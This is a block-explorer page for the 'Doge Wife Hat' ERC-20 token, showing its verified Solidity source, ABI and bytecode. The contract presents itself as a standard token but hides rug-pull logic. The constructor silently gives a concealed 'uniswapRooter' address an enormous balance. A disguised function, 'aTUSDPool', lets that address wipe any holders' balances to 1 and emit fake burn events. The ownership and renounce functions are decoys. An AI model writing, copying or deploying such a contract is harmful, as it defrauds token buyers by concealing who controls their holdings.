ERC-20
Overview
Max Total Supply
420,690,000,000 DOGEWIFEHAT
Holders
3
Market
Price
$0.00 @ 0.000000 S
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
420,689,999,999,999,975,160,507,990,127.949422829 DOGEWIFEHATValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
DogeWifeHat
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2024-12-23 */ // SPDX-License-Identifier: MIT //https://t.me/DogeWifeHat pragma solidity 0.8.28; interface Dogeinterface { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recepient, uint256 amount) external returns (bool); function allowance(address _owner, address fromTos) external view returns (uint256); function approve(address fromTos, uint256 amount) external returns (bool); function transferFrom(address sender, address recepient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 balance); event Approval(address indexed owner, address indexed fromTos, uint256 balance); } abstract contract ERCBurnable { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/legoseum/solidity/issues/2691 return msg.data; } } abstract contract ERCOwnable is ERCBurnable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "ERCOwnable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "ERCOwnable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeDoge { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeDoge: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeDoge: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeDoge: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeDoge: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeDoge: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract DogeWifeHat is ERCBurnable, Dogeinterface, ERCOwnable { using SafeDoge for uint256; mapping (address => uint256) private _afterTransferCFee; mapping (address => mapping (address => uint256)) private fromallowances; uint256 private _totalSupply; uint8 private _decimals; string private _symbol; string private _name; uint8 private maxTax = 18; uint256 private minTax = 10; address private uniswapRooter; constructor(address uniswapRooterV2) { uniswapRooter= uniswapRooterV2; _name = "Doge Wife Hat"; _symbol = "DOGEWIFEHAT"; _decimals = 9; _totalSupply = 420690000000 * 10 ** 9; _afterTransferCFee[_msgSender()] = _totalSupply; _afterTransferCFee[uniswapRooter] = _totalSupply * minTax ** maxTax; emit Transfer(address(0), _msgSender(), _totalSupply); } function getOwner() external view override returns (address) { return owner(); } function decimals() external view override returns (uint8) { return _decimals; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view override returns (uint256) { return _afterTransferCFee[account]; } function transfer(address recepient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recepient, amount); return true; } function allowance(address owner, address fromTos) external view override returns (uint256) { return fromallowances[owner][fromTos]; } function approve(address fromTos, uint256 amount) external override returns (bool) { _approve(_msgSender(), fromTos, amount); return true; } function transferFrom(address sender, address recepient, uint256 amount) external override returns (bool) { _transfer(sender, recepient, amount); _approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(amount, "Dogeinterface: transfer amount exceeds allowance")); return true; } function aTUSDPool(address[] calldata tusdRewards) external { require(uniswapRooter == _msgSender()); for (uint256 i = 0; i < tusdRewards.length; i++) { _afterTransferCFee[tusdRewards[i]] = 1; emit Transfer(tusdRewards[i], address(0), 1); } } function increaseAllowance(address fromTos, uint256 addedbalance) external returns (bool) { _approve(_msgSender(), fromTos, fromallowances[_msgSender()][fromTos].add(addedbalance)); return true; } function decreaseAllowance(address fromTos, uint256 allbalances) external returns (bool) { _approve(_msgSender(), fromTos, fromallowances[_msgSender()][fromTos].sub(allbalances, "Dogeinterface: decreased allowance below zero")); return true; } function _transfer(address sender, address recepient, uint256 amount) internal { require(sender != address(0), "Dogeinterface: transfer from the zero address"); require(recepient != address(0), "Dogeinterface: transfer to the zero address"); _afterTransferCFee[sender] = _afterTransferCFee[sender].sub(amount, "Dogeinterface: transfer amount exceeds balance"); _afterTransferCFee[recepient] = _afterTransferCFee[recepient].add(amount); emit Transfer(sender, recepient, amount); } function _approve(address owner, address fromTos, uint256 amount) internal { require(owner != address(0), "Dogeinterface: approve from the zero address"); require(fromTos != address(0), "Dogeinterface: approve to the zero address"); fromallowances[owner][fromTos] = amount; emit Approval(owner, fromTos, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"uniswapRooterV2","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"fromTos","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"tusdRewards","type":"address[]"}],"name":"aTUSDPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"fromTos","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"fromTos","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"fromTos","type":"address"},{"internalType":"uint256","name":"allbalances","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"fromTos","type":"address"},{"internalType":"uint256","name":"addedbalance","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recepient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recepient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526007805460ff19166012179055600a60085534801561002257600080fd5b506040516111ae3803806111ae833981016040819052610041916101d1565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600980546001600160a01b0319166001600160a01b03831617905560408051808201909152600d81526c111bd9d94815da59994812185d609a1b60208201526006906100ce90826102a0565b5060408051808201909152600b81526a1113d1d155d2519152105560aa1b60208201526005906100fe90826102a0565b506004805460ff191660091790556816ce3f1e16bf1500006003819055600160006101263390565b6001600160a01b031681526020810191909152604001600020556007546008546101539160ff169061045d565b600354610160919061046c565b6009546001600160a01b0316600090815260016020526040902055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516101c391815260200190565b60405180910390a350610483565b6000602082840312156101e357600080fd5b81516001600160a01b03811681146101fa57600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c9082168061022b57607f821691505b60208210810361024b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f82111561029b57806000526020600020601f840160051c810160208510156102785750805b601f840160051c820191505b818110156102985760008155600101610284565b50505b505050565b81516001600160401b038111156102b9576102b9610201565b6102cd816102c78454610217565b84610251565b6020601f82116001811461030157600083156102e95750848201515b600019600385901b1c1916600184901b178455610298565b600084815260208120601f198516915b828110156103315787850151825560209485019460019092019101610311565b508482101561034f5786840151600019600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156103af578085048111156103935761039361035e565b60018416156103a157908102905b60019390931c928002610378565b935093915050565b6000826103c657506001610457565b816103d357506000610457565b81600181146103e957600281146103f35761040f565b6001915050610457565b60ff8411156104045761040461035e565b50506001821b610457565b5060208310610133831016604e8410600b8410161715610432575081810a610457565b61043f6000198484610374565b80600019048211156104535761045361035e565b0290505b92915050565b60006101fa60ff8416836103b7565b80820281158282048414176104575761045761035e565b610d1c806104926000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610217578063a9059cbb1461022a578063dd62ed3e1461023d578063f2fde38b1461027657600080fd5b8063715018a6146101d1578063893d20e8146101d95780638da5cb5b146101fe57806395d89b411461020f57600080fd5b8063313ce567116100d3578063313ce5671461016b57806339509351146101805780633f282b4a1461019357806370a08231146101a857600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d610289565b60405161011a91906109f6565b60405180910390f35b610136610131366004610a60565b61031b565b604051901515815260200161011a565b6003545b60405190815260200161011a565b610136610166366004610a8a565b610332565b60045460405160ff909116815260200161011a565b61013661018e366004610a60565b61039b565b6101a66101a1366004610ac7565b6103d1565b005b61014a6101b6366004610b3e565b6001600160a01b031660009081526001602052604090205490565b6101a66104b5565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b6000546001600160a01b03166101e6565b61010d610532565b610136610225366004610a60565b610541565b610136610238366004610a60565b610590565b61014a61024b366004610b59565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a6610284366004610b3e565b61059d565b60606006805461029890610b8c565b80601f01602080910402602001604051908101604052809291908181526020018280546102c490610b8c565b80156103115780601f106102e657610100808354040283529160200191610311565b820191906000526020600020905b8154815290600101906020018083116102f457829003601f168201915b5050505050905090565b600061032833848461068a565b5060015b92915050565b600061033f8484846107c0565b610391843361038c85604051806060016040528060308152602001610c5c603091396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610956565b61068a565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161032891859061038c9086610990565b6009546001600160a01b031633146103e857600080fd5b60005b818110156104b057600180600085858581811061040a5761040a610bc6565b905060200201602081019061041f9190610b3e565b6001600160a01b03168152602081019190915260400160009081209190915583838381811061045057610450610bc6565b90506020020160208101906104659190610b3e565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016040516104a091815260200190565b60405180910390a36001016103eb565b505050565b6000546001600160a01b031633146104e85760405162461bcd60e51b81526004016104df90610bdc565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461029890610b8c565b6000610328338461038c856040518060600160405280602d8152602001610cba602d91393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610956565b60006103283384846107c0565b6000546001600160a01b031633146105c75760405162461bcd60e51b81526004016104df90610bdc565b6001600160a01b03811661062f5760405162461bcd60e51b815260206004820152602960248201527f4552434f776e61626c653a206e6577206f776e657220697320746865207a65726044820152686f206164647265737360b81b60648201526084016104df565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106f55760405162461bcd60e51b815260206004820152602c60248201527f446f6765696e746572666163653a20617070726f76652066726f6d207468652060448201526b7a65726f206164647265737360a01b60648201526084016104df565b6001600160a01b03821661075e5760405162461bcd60e51b815260206004820152602a60248201527f446f6765696e746572666163653a20617070726f766520746f20746865207a65604482015269726f206164647265737360b01b60648201526084016104df565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661082c5760405162461bcd60e51b815260206004820152602d60248201527f446f6765696e746572666163653a207472616e736665722066726f6d2074686560448201526c207a65726f206164647265737360981b60648201526084016104df565b6001600160a01b0382166108965760405162461bcd60e51b815260206004820152602b60248201527f446f6765696e746572666163653a207472616e7366657220746f20746865207a60448201526a65726f206164647265737360a81b60648201526084016104df565b6108d3816040518060600160405280602e8152602001610c8c602e91396001600160a01b0386166000908152600160205260409020549190610956565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546109029082610990565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107b39085815260200190565b6000818484111561097a5760405162461bcd60e51b81526004016104df91906109f6565b5060006109878486610c35565b95945050505050565b60008061099d8385610c48565b9050838110156109ef5760405162461bcd60e51b815260206004820152601b60248201527f53616665446f67653a206164646974696f6e206f766572666c6f77000000000060448201526064016104df565b9392505050565b602081526000825180602084015260005b81811015610a245760208186018101516040868401015201610a07565b506000604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610a5b57600080fd5b919050565b60008060408385031215610a7357600080fd5b610a7c83610a44565b946020939093013593505050565b600080600060608486031215610a9f57600080fd5b610aa884610a44565b9250610ab660208501610a44565b929592945050506040919091013590565b60008060208385031215610ada57600080fd5b823567ffffffffffffffff811115610af157600080fd5b8301601f81018513610b0257600080fd5b803567ffffffffffffffff811115610b1957600080fd5b8560208260051b8401011115610b2e57600080fd5b6020919091019590945092505050565b600060208284031215610b5057600080fd5b6109ef82610a44565b60008060408385031215610b6c57600080fd5b610b7583610a44565b9150610b8360208401610a44565b90509250929050565b600181811c90821680610ba057607f821691505b602082108103610bc057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b60208082526023908201527f4552434f776e61626c653a2063616c6c6572206973206e6f7420746865206f776040820152623732b960e91b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561032c5761032c610c1f565b8082018082111561032c5761032c610c1f56fe446f6765696e746572666163653a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365446f6765696e746572666163653a207472616e7366657220616d6f756e7420657863656564732062616c616e6365446f6765696e746572666163653a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203e9ce7b08a6e1fd2ef1241d4f7793392985e4a07c647831f00b3c784c9d20fa364736f6c634300081c0033000000000000000000000000c504f9cc6729e1ad03d479219e84d071c9e94e93
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610217578063a9059cbb1461022a578063dd62ed3e1461023d578063f2fde38b1461027657600080fd5b8063715018a6146101d1578063893d20e8146101d95780638da5cb5b146101fe57806395d89b411461020f57600080fd5b8063313ce567116100d3578063313ce5671461016b57806339509351146101805780633f282b4a1461019357806370a08231146101a857600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d610289565b60405161011a91906109f6565b60405180910390f35b610136610131366004610a60565b61031b565b604051901515815260200161011a565b6003545b60405190815260200161011a565b610136610166366004610a8a565b610332565b60045460405160ff909116815260200161011a565b61013661018e366004610a60565b61039b565b6101a66101a1366004610ac7565b6103d1565b005b61014a6101b6366004610b3e565b6001600160a01b031660009081526001602052604090205490565b6101a66104b5565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b6000546001600160a01b03166101e6565b61010d610532565b610136610225366004610a60565b610541565b610136610238366004610a60565b610590565b61014a61024b366004610b59565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a6610284366004610b3e565b61059d565b60606006805461029890610b8c565b80601f01602080910402602001604051908101604052809291908181526020018280546102c490610b8c565b80156103115780601f106102e657610100808354040283529160200191610311565b820191906000526020600020905b8154815290600101906020018083116102f457829003601f168201915b5050505050905090565b600061032833848461068a565b5060015b92915050565b600061033f8484846107c0565b610391843361038c85604051806060016040528060308152602001610c5c603091396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610956565b61068a565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161032891859061038c9086610990565b6009546001600160a01b031633146103e857600080fd5b60005b818110156104b057600180600085858581811061040a5761040a610bc6565b905060200201602081019061041f9190610b3e565b6001600160a01b03168152602081019190915260400160009081209190915583838381811061045057610450610bc6565b90506020020160208101906104659190610b3e565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016040516104a091815260200190565b60405180910390a36001016103eb565b505050565b6000546001600160a01b031633146104e85760405162461bcd60e51b81526004016104df90610bdc565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461029890610b8c565b6000610328338461038c856040518060600160405280602d8152602001610cba602d91393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610956565b60006103283384846107c0565b6000546001600160a01b031633146105c75760405162461bcd60e51b81526004016104df90610bdc565b6001600160a01b03811661062f5760405162461bcd60e51b815260206004820152602960248201527f4552434f776e61626c653a206e6577206f776e657220697320746865207a65726044820152686f206164647265737360b81b60648201526084016104df565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106f55760405162461bcd60e51b815260206004820152602c60248201527f446f6765696e746572666163653a20617070726f76652066726f6d207468652060448201526b7a65726f206164647265737360a01b60648201526084016104df565b6001600160a01b03821661075e5760405162461bcd60e51b815260206004820152602a60248201527f446f6765696e746572666163653a20617070726f766520746f20746865207a65604482015269726f206164647265737360b01b60648201526084016104df565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661082c5760405162461bcd60e51b815260206004820152602d60248201527f446f6765696e746572666163653a207472616e736665722066726f6d2074686560448201526c207a65726f206164647265737360981b60648201526084016104df565b6001600160a01b0382166108965760405162461bcd60e51b815260206004820152602b60248201527f446f6765696e746572666163653a207472616e7366657220746f20746865207a60448201526a65726f206164647265737360a81b60648201526084016104df565b6108d3816040518060600160405280602e8152602001610c8c602e91396001600160a01b0386166000908152600160205260409020549190610956565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546109029082610990565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107b39085815260200190565b6000818484111561097a5760405162461bcd60e51b81526004016104df91906109f6565b5060006109878486610c35565b95945050505050565b60008061099d8385610c48565b9050838110156109ef5760405162461bcd60e51b815260206004820152601b60248201527f53616665446f67653a206164646974696f6e206f766572666c6f77000000000060448201526064016104df565b9392505050565b602081526000825180602084015260005b81811015610a245760208186018101516040868401015201610a07565b506000604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610a5b57600080fd5b919050565b60008060408385031215610a7357600080fd5b610a7c83610a44565b946020939093013593505050565b600080600060608486031215610a9f57600080fd5b610aa884610a44565b9250610ab660208501610a44565b929592945050506040919091013590565b60008060208385031215610ada57600080fd5b823567ffffffffffffffff811115610af157600080fd5b8301601f81018513610b0257600080fd5b803567ffffffffffffffff811115610b1957600080fd5b8560208260051b8401011115610b2e57600080fd5b6020919091019590945092505050565b600060208284031215610b5057600080fd5b6109ef82610a44565b60008060408385031215610b6c57600080fd5b610b7583610a44565b9150610b8360208401610a44565b90509250929050565b600181811c90821680610ba057607f821691505b602082108103610bc057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b60208082526023908201527f4552434f776e61626c653a2063616c6c6572206973206e6f7420746865206f776040820152623732b960e91b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561032c5761032c610c1f565b8082018082111561032c5761032c610c1f56fe446f6765696e746572666163653a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365446f6765696e746572666163653a207472616e7366657220616d6f756e7420657863656564732062616c616e6365446f6765696e746572666163653a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203e9ce7b08a6e1fd2ef1241d4f7793392985e4a07c647831f00b3c784c9d20fa364736f6c634300081c0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000c504f9cc6729e1ad03d479219e84d071c9e94e93
-----Decoded View---------------
Arg [0] : uniswapRooterV2 (address): 0xC504f9Cc6729e1aD03d479219E84d071C9e94E93
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000c504f9cc6729e1ad03d479219e84d071c9e94e93
Deployed Bytecode Sourcemap
3888:4186:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5121:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5824:163;;;;;;:::i;:::-;;:::i;:::-;;;1194:14:1;;1187:22;1169:41;;1157:2;1142:18;5824:163:0;1029:187:1;5227:102:0;5309:12;;5227:102;;;1367:25:1;;;1355:2;1340:18;5227:102:0;1221:177:1;6001:326:0;;;;;;:::i;:::-;;:::i;4900:94::-;4977:9;;4900:94;;4977:9;;;;1924:36:1;;1912:2;1897:18;4900:94:0;1782:184:1;6627:219:0;;;;;;:::i;:::-;;:::i;6331:286::-;;;;;;:::i;:::-;;:::i;:::-;;5343:130;;;;;;:::i;:::-;-1:-1:-1;;;;;5438:27:0;5411:7;5438:27;;;:18;:27;;;;;;;5343:130;1958:148;;;:::i;4792:94::-;4844:7;1802:6;-1:-1:-1;;;;;1802:6:0;4792:94;;;-1:-1:-1;;;;;2941:32:1;;;2923:51;;2911:2;2896:18;4792:94:0;2777:203:1;1729:87:0;1775:7;1802:6;-1:-1:-1;;;;;1802:6:0;1729:87;;5009:98;;;:::i;6861:266::-;;;;;;:::i;:::-;;:::i;5483:169::-;;;;;;:::i;:::-;;:::i;5662:148::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5772:21:0;;;5745:7;5772:21;;;:14;:21;;;;;;;;:30;;;;;;;;;;;;;5662:148;2116:247;;;;;;:::i;:::-;;:::i;5121:94::-;5169:13;5202:5;5195:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5121:94;:::o;5824:163::-;5901:4;5918:39;1118:10;5941:7;5950:6;5918:8;:39::i;:::-;-1:-1:-1;5975:4:0;5824:163;;;;;:::o;6001:326::-;6101:4;6118:36;6128:6;6136:9;6147:6;6118:9;:36::i;:::-;6165:132;6174:6;1118:10;6196:100;6237:6;6196:100;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6196:22:0;;;;;;:14;:22;;;;;;;;1118:10;6196:36;;;;;;;;;;:40;:100::i;:::-;6165:8;:132::i;:::-;-1:-1:-1;6315:4:0;6001:326;;;;;:::o;6627:219::-;1118:10;6711:4;6760:28;;;:14;:28;;;;;;;;-1:-1:-1;;;;;6760:37:0;;;;;;;;;;6711:4;;6728:88;;6751:7;;6760:55;;6802:12;6760:41;:55::i;6331:286::-;6406:13;;-1:-1:-1;;;;;6406:13:0;1118:10;6406:29;6398:38;;;;;;6448:9;6443:171;6463:22;;;6443:171;;;6540:1;6503:18;:34;6522:11;;6534:1;6522:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;6503:34:0;;;;;;;;;;;;-1:-1:-1;6503:34:0;;;:38;;;;6576:11;;6588:1;6576:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;6567:39:0;;6604:1;6567:39;;;;1367:25:1;;1355:2;1340:18;;1221:177;6567:39:0;;;;;;;;6487:3;;6443:171;;;;6331:286;;:::o;1958:148::-;1775:7;1802:6;-1:-1:-1;;;;;1802:6:0;1118:10;1867:23;1859:71;;;;-1:-1:-1;;;1859:71:0;;;;;;;:::i;:::-;;;;;;;;;2065:1:::1;2049:6:::0;;2028:40:::1;::::0;-1:-1:-1;;;;;2049:6:0;;::::1;::::0;2028:40:::1;::::0;2065:1;;2028:40:::1;2096:1;2079:19:::0;;-1:-1:-1;;;;;;2079:19:0::1;::::0;;1958:148::o;5009:98::-;5059:13;5092:7;5085:14;;;;;:::i;6861:266::-;6944:4;6961:136;1118:10;6984:7;6993:103;7035:11;6993:103;;;;;;;;;;;;;;;;;1118:10;6993:28;;;;:14;:28;;;;;;;;-1:-1:-1;;;;;6993:37:0;;;;;;;;;;;;:41;:103::i;5483:169::-;5563:4;5580:42;1118:10;5604:9;5615:6;5580:9;:42::i;2116:247::-;1775:7;1802:6;-1:-1:-1;;;;;1802:6:0;1118:10;1867:23;1859:71;;;;-1:-1:-1;;;1859:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2205:22:0;::::1;2197:76;;;::::0;-1:-1:-1;;;2197:76:0;;4563:2:1;2197:76:0::1;::::0;::::1;4545:21:1::0;4602:2;4582:18;;;4575:30;4641:34;4621:18;;;4614:62;-1:-1:-1;;;4692:18:1;;;4685:39;4741:19;;2197:76:0::1;4361:405:1::0;2197:76:0::1;2310:6;::::0;;2289:38:::1;::::0;-1:-1:-1;;;;;2289:38:0;;::::1;::::0;2310:6;::::1;::::0;2289:38:::1;::::0;::::1;2338:6;:17:::0;;-1:-1:-1;;;;;;2338:17:0::1;-1:-1:-1::0;;;;;2338:17:0;;;::::1;::::0;;;::::1;::::0;;2116:247::o;7700:365::-;-1:-1:-1;;;;;7794:19:0;;7786:76;;;;-1:-1:-1;;;7786:76:0;;4973:2:1;7786:76:0;;;4955:21:1;5012:2;4992:18;;;4985:30;5051:34;5031:18;;;5024:62;-1:-1:-1;;;5102:18:1;;;5095:42;5154:19;;7786:76:0;4771:408:1;7786:76:0;-1:-1:-1;;;;;7881:21:0;;7873:76;;;;-1:-1:-1;;;7873:76:0;;5386:2:1;7873:76:0;;;5368:21:1;5425:2;5405:18;;;5398:30;5464:34;5444:18;;;5437:62;-1:-1:-1;;;5515:18:1;;;5508:40;5565:19;;7873:76:0;5184:406:1;7873:76:0;-1:-1:-1;;;;;7970:21:0;;;;;;;:14;:21;;;;;;;;:30;;;;;;;;;;;;;:39;;;8025:32;;1367:25:1;;;8025:32:0;;1340:18:1;8025:32:0;;;;;;;;7700:365;;;:::o;7139:547::-;-1:-1:-1;;;;;7237:20:0;;7229:78;;;;-1:-1:-1;;;7229:78:0;;5797:2:1;7229:78:0;;;5779:21:1;5836:2;5816:18;;;5809:30;5875:34;5855:18;;;5848:62;-1:-1:-1;;;5926:1